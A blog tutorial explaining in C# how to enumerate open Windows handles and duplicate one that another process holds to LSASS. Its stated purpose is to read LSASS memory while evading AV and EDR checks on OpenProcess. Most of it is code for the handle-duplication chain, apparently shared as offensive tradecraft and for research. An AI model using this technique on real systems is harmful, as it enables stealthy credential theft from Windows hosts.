Duplicating Handles in C#

Introduction

Applications can open and maintain handles to Windows objects such as access tokens, processes, threads, files, named pipes and more. As a local admin (or with SeDebug privs), it’s possible to enumerate open handles across the entire OS and duplicate them for our own use. This is particularly useful when you want to obtain a handle to a process like LSASS, but you don’t want to call OpenProcess yourself (as this is something that can be blocked by AV and EDRs). So in a scenario where a “trusted” application already has an open handle, we can obtain a handle to that process instead, then duplicate and use the handle it has to the target.

This isn’t a new technique – it’s already well summarised by SkelSec, with example implementations in C++, Python and C#. But as I like to break things down a little more, I’ll be covering each step in slightly more detail.

Enumerating Handles

To enumerate open handles we can use the NtQuerySystemInformation API – its signature looks something like this:

NTSTATUS NtQuerySystemInformation (
    SYSTEM_INFORMATION_CLASS SystemInformationClass, 
    PVOID SystemInformation, 
    ULONG SystemInformationLength, 
    ULONG *ReturnLength);

SYSTEM_INFORMATION_CLASS is a fairly large enum. The case we want is SystemHandleInformation which has a hex value of 0x10 (16 in decimal). The information returned will be a SYSTEM_HANDLE_INFORMATION struct which has two properties. The first is the total number of handles, the second is an array of SYSTEM_HANDLE_TABLE_ENTRY_INFO. This struct contains information about each handle including its value and granted access.

As with many of these “query” APIs, you have to provide a length value – that is the amount of data the API needs to return. It’s not possible to know this upfront, since you don’t know how many handles are open. If the length provided is too short, an INFO_LENGTH_MISMATCH error is returned and the ReturnLength property is populated with the actual length that you need. Interestingly, you have to call the API a couple of times before the full length is provided.

// get an initial size
var systemHandleInformation = new SYSTEM_HANDLE_INFORMATION();
var systemInformationLength = Marshal.SizeOf(systemHandleInformation);
var systemInformationPtr = Marshal.AllocHGlobal(systemInformationLength);

var returnLength = 0;

while (NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS.SystemHandleInformation, systemInformationPtr, systemInformationLength, ref returnLength) == NTSTATUS.InfoLengthMismatch)
{
    // get the return length
    systemInformationLength = returnLength;

    // free the previously allocated memory
    Marshal.FreeHGlobal(systemInformationPtr);

    // allocate a new memory region
    systemInformationPtr = Marshal.AllocHGlobal(systemInformationLength);
}

When we drop out of the loop, the systemInformationPtr will be pointing to all of the data returned by NtQuerySystemInformation. We know that it’s a SYSTEM_HANDLE_INFORMATION struct, but in its “raw” form (i.e. not marshalled into that struct). When I tried to marshal it, it would just throw an access violation exception (I suspect that the struct layout options need more finesse), so I opted to manually walk the data instead.

First, we can read the number of handles from the top of the pointer, like so:

var numberOfHandles = Marshal.ReadInt64(systemInformationPtr);

The number I got was 157376. Quite a few really… Please bear in mind that I’m running on a 64-bit OS and I’m not interested in writing 32-bit compatible code (shoot me).

Next, create a new pointer that we’ll use to track our position.

var handleEntryPtr = new IntPtr((long)systemInformationPtr + sizeof(long));

This will/should(?) be pointing at the first SYSTEM_HANDLE_TABLE_ENTRY_INFO. sizeof(long) is 8 bytes, which is the size of the NumberOfHandles.

I’ll then create a dictionary to hold a list of SYSTEM_HANDLE_TABLE_ENTRY_INFO for each PID (since each PID can have many handles), and use a for loop over the numberOfHandles. On each loop, we can marshal a new SYSTEM_HANDLE_TABLE_ENTRY_INFO struct from the data at the current handleEntryPtr. We then move that pointer along based on the size of the structure we just read. If the current PID doesn’t exist in the dictionary, we initialise it with a new empty list; and then just add the struct to it.

Dictionary<int, List<SYSTEM_HANDLE_TABLE_ENTRY_INFO>> handles = new();

for (var i = 0; i < numberOfHandles; i++)
{
    var handleTableEntry = (SYSTEM_HANDLE_TABLE_ENTRY_INFO) Marshal.PtrToStructure(handleEntryPtr, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
    
    handleEntryPtr = new IntPtr((long)handleEntryPtr + Marshal.SizeOf(handleTableEntry));
    
    if (!handles.ContainsKey(handleTableEntry.UniqueProcessId))
        handles.Add(handleTableEntry.UniqueProcessId, new List<SYSTEM_HANDLE_TABLE_ENTRY_INFO>());

    handles[handleTableEntry.UniqueProcessId].Add(handleTableEntry);
}

After this loop, we free the pointer holding the data.

Marshal.FreeHGlobal(systemInformationPtr);

All this is just step 1 😊

PROCESS_DUP_HANDLE

Now that we have a record of all the handles these processes have open, it’s time to iterate over them. This will be in two levels, because we need to iterate over each handle for each PID.

// kvp is our dictionary
foreach (var kvp in allHandles)
{
    // this is the PID with the open handles
    var pid = kvp.Key;

    // this is the list of SYSTEM_HANDLE_TABLE_ENTRY_INFO
    var handles = kvp.Value;

    foreach (var handle in handles)
    {
        // blah
    }
}

Whilst iterating over them, the first property we can look at is the GrantedAccess. If our goal is to read process memory, then we need a handle with at least PROCESS_VM_READ. If the handle doesn’t have this, then we can just disregard it.

foreach (var handle in handles)
{
    // check if the handle as the required privilege
    var grantedAccess = (PROCESS_ACCESS)handle.GrantedAccess;
    if (!grantedAccess.HasFlag(PROCESS_ACCESS.PROCESS_VM_READ)) continue;
}

If the handle satisfies the condition, we can move onto the next step which is to call OpenProcess on the PID. We only need to request the PROCESS_DUP_HANDLE privilege to duplicate the handle.

var pid = kvp.Key;
var handles = kvp.Value;

var hProcess = IntPtr.Zero;

foreach (var handle in handles)
{
    // check if the handle as the required privilege
    var grantedAccess = (PROCESS_ACCESS)handle.GrantedAccess;
    if (!grantedAccess.HasFlag(PROCESS_ACCESS.PROCESS_VM_READ)) continue;

    // get a handle to the process if we don't already have one
    if (hProcess == IntPtr.Zero)
        hProcess = NtOpenProcess(pid, PROCESS_ACCESS.PROCESS_DUP_HANDLE);
    
    // if the handle is still zero, then continue
    // likely error was access denied
    if (hProcess == IntPtr.Zero) continue;
}

The way this code is laid out is a little weird, but I think it’s the best way to ensure that we only call OpenProcess once per PID and only if it has a handle with at least PROCESS_VM_READ. We should also remember that once we’ve finished with this particular PID, to free any handle we opened to it (rather apt for a post about handles).

NtDuplicateObject

The next two steps are inter-related because we need to find out:

  1. What type of handle is this? e.g. process, file, etc.
  2. If it’s a process handle, what is the actual target process?

NtDuplicateObject can be used to duplicate the handle. One thing to note is that this API requires a handle to our own process, which you can get with Process.GetCurrentProcess().

// duplicate object
var hDuplicate = IntPtr.Zero;

var status = NtDuplicateObject(
    hProcess,
    new IntPtr(handle.HandleValue),
    self.Handle,
    ref hDuplicate,
    PROCESS_ACCESS.PROCESS_QUERY_INFORMATION | PROCESS_ACCESS.PROCESS_VM_READ);

// skip if we failed to duplicate
if (status != NTSTATUS.Success || hDuplicate == IntPtr.Zero) continue;

NtQueryObject

With the duplicated handle, we can now find out what type of handle it is via NtQueryObject. In a similar fashion to NtQuerySystemInformation, this API takes in one of the OBJECT_INFORMATION_CLASS enums – the one we want is OBJECT_TYPE_INFORMATION because it contains a property called TypeName, which is a UNICODE_STRING. This string will literally be “Process” for a process handle, “File” for a file handle and so on. We also have to do the same Length/ResultLength dance.

var objTypeInfo = new OBJECT_TYPE_INFORMATION();
var objTypeInfoLength = Marshal.SizeOf(objTypeInfo);
var objTypePtr = Marshal.AllocHGlobal(objTypeInfoLength);

var returnLength = 0;

while (NtQueryObject(hDuplicate, OBJECT_INFORMATION_CLASS.ObjectTypeInformation, objTypePtr, objTypeInfoLength, ref returnLength) == NTSTATUS.InfoLengthMismatch)
{
    objTypeInfoLength = returnLength;
    Marshal.FreeHGlobal(objTypePtr);
    objTypePtr = Marshal.AllocHGlobal(objTypeInfoLength);
}

Once out of the loop, we can marshal and read the data (no exceptions thrown this time).

objTypeInfo = (OBJECT_TYPE_INFORMATION)Marshal.PtrToStructure(objTypePtr, typeof(OBJECT_TYPE_INFORMATION));
Marshal.FreeHGlobal(objTypePtr);

var objTypeInfoBuf = new byte[objTypeInfo.typeName.Length];
Marshal.Copy(objTypeInfo.typeName.Buffer, objTypeInfoBuf, 0, objTypeInfo.typeName.Length);

var typeName = Encoding.Unicode.GetString(objTypeInfoBuf);

From here, we can do a simple string check, like:

if (typeName.Equals("Process", StringComparison.OrdinalIgnoreCase) .. blah

QueryFullProcessImageName

The final step is to call QueryFullProcessImageNameW, which will give us the full name of the executable this handle is open to.

var exeName = QueryFullProcessImageName(hDuplicate);
if (!exeName.EndsWith("lsass.exe")) continue;

If everything is as it should be, you’ll now have a duplicated handle that you can use to read LSASS memory.

Conclusion

This post demonstrated how to enumerate and duplicate handles that other processes have open. Even though you have to be a local admin, it can help you side-step some defences which guard against obtaining handles to sensitive resources.

This should also highlight why it’s important to free handles in your applications after use – and that also extends to offensive tool developers. Have you opened a handle to a resources as part of an abuse primitive (process injection, token impersonation etc)? If so, then make sure you’re closing them, otherwise the resulting handle leaks present an opportunity for other malicious actors.

I hope I can follow this post up soon with some example use cases. The full code from this post will be available to my Patrons.

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...